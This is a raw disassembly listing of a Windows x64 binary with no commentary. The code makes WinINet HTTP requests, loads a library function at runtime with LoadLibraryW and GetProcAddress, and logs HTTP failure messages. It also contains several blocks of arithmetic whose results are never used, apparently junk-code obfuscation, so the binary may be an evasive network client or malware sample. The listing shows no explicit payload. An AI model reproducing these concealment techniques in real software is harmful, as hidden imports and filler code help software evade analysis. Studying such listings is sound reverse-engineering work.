mov r8d, eax
lea rcx, [rbp - 0x78]
call fcn.14002bc50
nop
cmp qword [rbp + 0x4f0], 0x10
jb 0x140032d5c
mov rcx, qword [rbp + 0x4d8]
call fcn.1400d37c0
mov qword [rbp + 0x4f0], 0xf
mov qword [rbp + 0x4e8], r15
mov byte [rbp + 0x4d8], 0
mov rax, qword [rbp - 0x78]
mov ebx, dword [rax - 0x10]
mov dword [rsp + 0x58], ebx
lea rcx, [rsp + 0x50]
call fcn.1400021b0
mov rax, qword [rsp + 0x50]
jmp 0x140032d9f
mov rax, qword [rsp + 0x50]
mov ecx, dword [rax - 0x10]
add ecx, ecx
mov dword [rsp + 0x58], ecx
cmp byte [rsp + 0x41], 0
je 0x140032ddc
mov dword [rbp + 0xc], 0x2710
mov r9d, esi
lea r8, [rbp + 0xc]
mov edx, 6
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov r9d, esi
lea r8, [rbp + 0xc]
mov edx, 5
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov rax, qword [rsp + 0x50]
cmp dword [rax - 0x10], 0
jne 0x140032dfe
mov rdi, qword [rbp - 0x78]
cmp dword [rdi - 8], 1
jle 0x140032e19
mov edx, dword [rdi - 0x10]
lea rcx, [rbp - 0x78]
call fcn.14001bb50
mov rdi, qword [rbp - 0x78]
jmp 0x140032e19
cmp dword [rax - 8], 1
jle 0x140032e16
mov edx, dword [rax - 0x10]
lea rcx, [rsp + 0x50]
call fcn.140002660
mov rax, qword [rsp + 0x50]
mov rdi, rax
mov rbx, qword [rsp + 0x70]
mov esi, dword [rbx - 0x10]
test esi, esi
cmove rbx, r15
call fcn.14002ce50
mov rcx, rax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, esi
mov r8, rbx
mov rsi, qword [rbp - 0x30]
mov rdx, rsi
call fcn.140044050
test eax, eax
jne 0x1400330a0
lea rcx, [rbp + 0xc8]
call fcn.14002a540
nop
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r9d, dword [0x1401d5d60]
lea ecx, [r9 + 2]
lea eax, [r9 + 1]
imul ecx, eax
imul ecx, r9d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
cmp ecx, 5
jne 0x140032f0f
mov esi, r15d
lea rdi, [rbp + 0xa90]
nop dword [rax]
mov r10d, r15d
lea ebx, [r10 + 1]
lea ecx, [rsi + 1]
mov eax, r9d
cdq
idiv ecx
mov r8d, edx
mov ecx, r9d
sub ecx, esi
imul r8d, ecx
mov eax, r9d
cdq
idiv ebx
add r8d, eax
sub r8d, r10d
mov dword [rdi], r8d
mov edx, r8d
lea rcx, [0x14015ab6c]
call fcn.1400d40f4
mov r10d, ebx
add rdi, 4
cmp ebx, 0x19
jge 0x140032eff
mov r9d, dword [0x1401d5d60]
jmp 0x140032eb3
inc esi
cmp esi, 0xc
jge 0x140032f0f
mov r9d, dword [0x1401d5d60]
jmp 0x140032eb0
cmp byte [rsp + 0x40], 0
je 0x140032f20
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.HttpSendRequest_Failed_with:
lea rcx, [rbp + 0x138]
call fcn.140003310
nop
lea r8, [rbp + 0xc8]
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.140022e40
nop
mov rdx, rax
mov rbx, qword [rbp - 0x50]
mov rcx, rbx
call fcn.14002f120
mov dword [rsp + 0x44], 1
mov rdx, qword [rbp + 0x190]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032f7e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x138]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032f9a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0xc8]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032fb6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032fcf
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032fe9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033003
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003301d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033036
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003304f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033068
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033082
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003309b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140035784
mov rcx, r12
call fcn.14002fb30
test al, al
jne 0x1400332ce
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], 0
je 0x1400330ca
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [rbp + 0x100]
and eax, 0xffffff00
mov dword [rbp + 0x100], eax
btr eax, 8
mov dword [rbp + 0x100], eax
mov qword [rbp + 0x108], r15
mov eax, dword [rbp + 0x1e8]
and eax, 0xffffff05
or eax, 5
mov dword [rbp + 0x1e8], eax
mov qword [rbp + 0x1f0], r15
mov byte [rbp + 0x1e0], 1
lea rdx, [0x14015ac64]
lea rcx, [rbp + 0xf8]
call fcn.14003ce50
mov rcx, rax
lea rdx, [rbp + 0x1e0]
call fcn.14003c4c0
nop
lea rcx, [rbp + 0x1e0]
call fcn.14003c410
mov eax, dword [0x1401d5d60]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0x13
jne 0x140033179
mov edx, 0x9b
lea r8d, [rdx + 1]
lea rcx, [0x14015acb4]
call fcn.1400d40f4
lea rdx, str.no_response_needed
lea rcx, [rbp + 0x308]
call fcn.14003c160
nop
lea rdx, [0x14015bac8]
lea rcx, [rbp + 0xf8]
call fcn.14003ce50
mov rcx, rax
lea rdx, [rbp + 0x308]
call fcn.14003c4c0
nop
lea rcx, [rbp + 0x308]
call fcn.14003c410
lea rdx, [rbp + 0xf8]
mov rbx, qword [rbp - 0x50]
mov rcx, rbx
call fcn.14003c2b0
mov dword [rsp + 0x44], 1
lea rcx, [rbp + 0xf8]
call fcn.14003c410
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400331fd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033217
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033231
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003324b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033264
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003327d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033296
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400332b0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400332c9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140035784
mov byte [rbp + 0xf40], 0
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0xf41]
call fcn.1400d8c20
mov dword [rbp + 0xa4], 0x400
lea rcx, [0x14015bab0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
jne 0x1400334d5
mov edi, dword [0x1401d5d60]
lea ecx, [rdi + 2]
lea eax, [rdi + 1]
imul ecx, eax
imul ecx, edi
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp ecx, 0xa
jne 0x14003338a
lea r8d, [rcx + 0x6c]
mov r11d, r15d
mov eax, edi
cdq
sub eax, edx
sar eax, 1
mov ebx, eax
test ebx, ebx
jle 0x140033382
mov eax, edi
cdq
and edx, 3
add eax, edx
sar eax, 2
mov r9d, r15d
mov r10, rbx
nop dword [rax]
test eax, eax
jle 0x14003337a
mov ecx, r9d
mov edx, eax
nop dword [rax]
add r8d, ecx
dec ecx
dec rdx
jne 0x140033370
add r9d, r11d
dec r10
jne 0x140033360
inc r11d
cmp r11d, r8d
jl 0x140033348
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], 0
je 0x1400333a4
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x14015baf8]
lea rcx, [rbp + 0x1c8]
call fcn.140003310
nop
mov rdx, rax
mov rbx, qword [rbp - 0x50]
mov rcx, rbx
call fcn.14002f120
mov dword [rsp + 0x44], 1
mov rdx, qword [rbp + 0x1c8]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400333eb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033404
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003341e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033438
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033452
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003346b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033484
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003349d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400334b7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400334d0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140035784
lea rdx, [0x14015bb10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rsi
test rax, rax
jne 0x1400336a3
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r8d, dword [0x1401d5d60]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 9
jne 0x140033561
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x141
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r14
mov rcx, rax
call fcn.1400d2e28
mov rcx, rax
call fcn.1400d3f08
cmp byte [rsp + 0x40], 0
je 0x140033572
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x14015bad0]
lea rcx, [rbp + 0x148]
call fcn.140003310
nop
mov rdx, rax
mov rbx, qword [rbp - 0x50]
mov rcx, rbx
call fcn.14002f120
mov dword [rsp + 0x44], 1
mov rdx, qword [rbp + 0x148]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400335b9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400335d2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400335ec
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033606
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033620
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033639
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033652
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003366b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033685
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003369e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140035784
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0xa4]
lea r8, [rbp + 0xf40]
mov edx, 0x13
call rax
test eax, eax
jne 0x140033a23
call fcn.14002e820
test al, al
jne 0x1400336f0
mov ecx, 4
call fcn.1400d3fa0
mov rbx, rax
call fcn.1400d41a0
mov dword [rbx], eax
mov dword [0x1401d5d60], eax
mov rcx, rbx
call fcn.1400d37c0
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r10d, dword [0x1401d5d60]
lea ecx, [r10 + 2]
lea eax, [r10 + 1]
imul ecx, eax
imul ecx, r10d
and ecx, 0x8000000f
jge 0x14003371e
dec ecx
or ecx, 0xfffffff0
inc ecx
cmp ecx, 5
jne 0x14003389d
mov eax, r10d
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x58], eax
mov eax, 0x55555556
imul r10d
mov r12d, edx
shr r12d, 0x1f
add r12d, edx
mov eax, r10d
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rbp + 0x70], eax
mov eax, 0x66666667
imul r10d
mov esi, edx
sar esi, 1
mov ecx, esi
shr ecx, 0x1f
add esi, ecx
mov eax, 0x2aaaaaab
imul r10d
mov r13d, edx
shr r13d, 0x1f
add r13d, edx
mov eax, 0x92492493
imul r10d
lea edi, [r10 + rdx]
sar edi, 2
mov eax, edi
shr eax, 0x1f
add edi, eax
mov eax, r10d
cdq
and edx, 7
add eax, edx
sar eax, 3
mov dword [rbp - 0x30], eax
lea r9, [rbp + 0x1761]
mov r14d, dword [rsp + 0x58]
nop word [rax + rax]
movzx r8d, r10b
sub r8b, r15b
mov ebx, 0xe
mov r11d, 1
mov r15d, dword [rbp + 0x70]
nop word [rax + rax]
mov eax, r10d
cdq
idiv r11d
movzx eax, r8b
imul r10b
movzx ecx, al
movzx eax, dl
imul cl
mov byte [r9 - 1], al
movzx eax, r8b
imul r14b
movzx ecx, al
movzx eax, dl
imul cl
mov byte [r9], al
movzx eax, r8b
imul r12b
movzx ecx, al
movzx eax, dl
imul cl
mov byte [r9 + 1], al
movzx eax, r8b
imul r15b
movzx ecx, al
movzx eax, dl
imul cl
mov byte [r9 + 2], al
movzx eax, r8b
imul sil
movzx ecx, al
movzx eax, dl
imul cl
mov byte [r9 + 3], al
movzx eax, r8b
imul r13b
movzx ecx, al
movzx eax, dl
imul cl
mov byte [r9 + 4], al
movzx eax, r8b
imul dil
movzx ecx, al
movzx eax, dl
imul cl
mov byte [r9 + 5], al
movzx eax, r8b
imul byte [rbp - 0x30]
movzx ecx, al
movzx eax, dl
imul cl
mov byte [r9 + 6], al
inc r11d
add r9, 8
dec rbx
jne 0x1400337d0
mov r15, qword [rbp + 0x88]
inc r15d
mov qword [rbp + 0x88], r15
cmp r15d, 3
jl 0x1400337b0
or r14, 0xffffffffffffffff
cmp byte [rsp + 0x40], 0
je 0x1400338ae
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.HttpQueryInfo_Failed
lea rcx, [rbp + 0x1a8]
call fcn.140003310
nop
mov rdx, rax
mov rbx, qword [rbp - 0x50]
mov rcx, rbx
call fcn.14002f120
mov dword [rsp + 0x44], 1
mov rdx, qword [rbp + 0x1a8]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
dec eax
jg 0x1400338fa
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
dec eax
jg 0x140033918
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
dec eax
jg 0x140033937
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
dec eax
jg 0x140033956
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
dec eax
jg 0x140033975
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
dec eax
jg 0x140033993
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
dec eax
jg 0x1400339b1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
dec eax
jg 0x1400339cf
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
dec eax
jg 0x1400339ee
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
dec eax
jg 0x140033a0c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r14d
dec r14d
jmp 0x140035792
lea rcx, str.__r_
mov rax, qword [str.__r_]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x58], rax
lea rdx, [rbp + 0xf40]
lea rcx, [rbp - 0x58]
call fcn.1400034f0
nop
cmp byte [r12 + 8], 0
jne 0x140033a5a
mov rsi, r13
jmp 0x140033a6c
lea rdx, [0x14015bb20]
mov rcx, r12
call fcn.14003d050
mov rsi, rax
movzx eax, byte [rsi + 8]
test al, al
je 0x140033d31
cmp al, 6
je 0x140033d31
cmp al, 7
jne 0x140033ce7
mov edi, r15d
mov dword [rsp + 0x58], r15d
mov rcx, rsi
call fcn.14003ca80
test eax, eax
jle 0x14003560b
lea rcx, str.__r_
mov rax, qword [str.__r_]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x50], rax
mov r8d, edi
lea rdx, [0x14015ab94]
lea rcx, [rbp + 0x50]
call fcn.140035be0
mov rbx, qword [rbp + 0x50]
cmp byte [rsi + 8], 0
jne 0x140033adb
mov rax, r13
jmp 0x140033ae6
mov rdx, rbx
mov rcx, rsi
call fcn.14003d050
cmp byte [rax + 8], 4
jne 0x140033b95
lea rax, [rbp + 0x478]
mov qword [rbp + 0x88], rax
cmp byte [rsi + 8], 0
jne 0x140033b09
mov rax, r13
jmp 0x140033b14
mov rdx, rbx
mov rcx, rsi
call fcn.14003d050
mov rdx, qword [rax]
lea rcx, [rbp + 0x478]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x158]
call fcn.140022b50
nop
mov rdx, qword [rax]
mov eax, r15d
test rdx, rdx
setne al
test eax, eax
je 0x140033cb7
mov rax, qword [rbp - 0x58]
sub rdx, rax
nop
movzx ecx, word [rax]
cmp cx, word [rax + rdx]
jne 0x140033b67
add rax, 2
test cx, cx
jne 0x140033b50
mov eax, r15d
jmp 0x140033b6c
sbb eax, eax
or eax, 1
test eax, eax
sete bl
mov rdx, qword [rbp + 0x158]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033c80
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140033c80
cmp byte [rsi + 8], 0
jne 0x140033ba0
mov rax, r13
jmp 0x140033bab
mov rdx, rbx
mov rcx, rsi
call fcn.14003d050
cmp byte [rax + 8], 1
jne 0x140033c88
lea rcx, str.__r_
mov rax, qword [str.__r_]
call qword [rax + 0x18]
lea rdi, [rax + 0x18]
mov qword [rbp + 0x1f8], rdi
cmp byte [rsi + 8], 0
jne 0x140033bdc
mov rax, r13
jmp 0x140033be7
mov rdx, rbx
mov rcx, rsi
call fcn.14003d050
mov rcx, rax
call fcn.14003c680
mov r8d, eax
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0xf0]
call fcn.140022da0
nop
lea rdx, [rdi - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033c1a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov ecx, r15d
mov rax, qword [rbp + 0xf0]
test rax, rax
setne cl
test ecx, ecx
je 0x140033cdc
mov rcx, qword [rbp - 0x58]
sub rax, rcx
nop dword [rax]
movzx edx, word [rcx]
cmp dx, word [rcx + rax]
jne 0x140033c57
add rcx, 2
test dx, dx
jne 0x140033c40
mov eax, r15d
jmp 0x140033c5c
sbb eax, eax
or eax, 1
test eax, eax
sete bl
mov rdx, qword [rbp + 0xf0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033c7c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov edi, dword [rsp + 0x58]
test bl, bl
jne 0x140033cc2
mov rbx, qword [rbp + 0x50]
lea rdx, [rbx - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033c9c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
inc edi
mov dword [rsp + 0x58], edi
mov rcx, rsi
call fcn.14003ca80
cmp edi, eax
jge 0x14003560b
jmp 0x140033aa0
mov ecx, 0x80004005
call fcn.140001920
nop
mov rdx, qword [rbp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033d24
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140033d24
mov ecx, 0x80004005
call fcn.140001920
nop
mov rcx, r15
mov rdx, qword [rbp - 0x58]
lea r8, [0x14015bb78]
nop word [rax + rax]
movzx eax, word [rdx + rcx*2]
inc rcx
cmp ax, word [r8 + rcx*2 - 2]
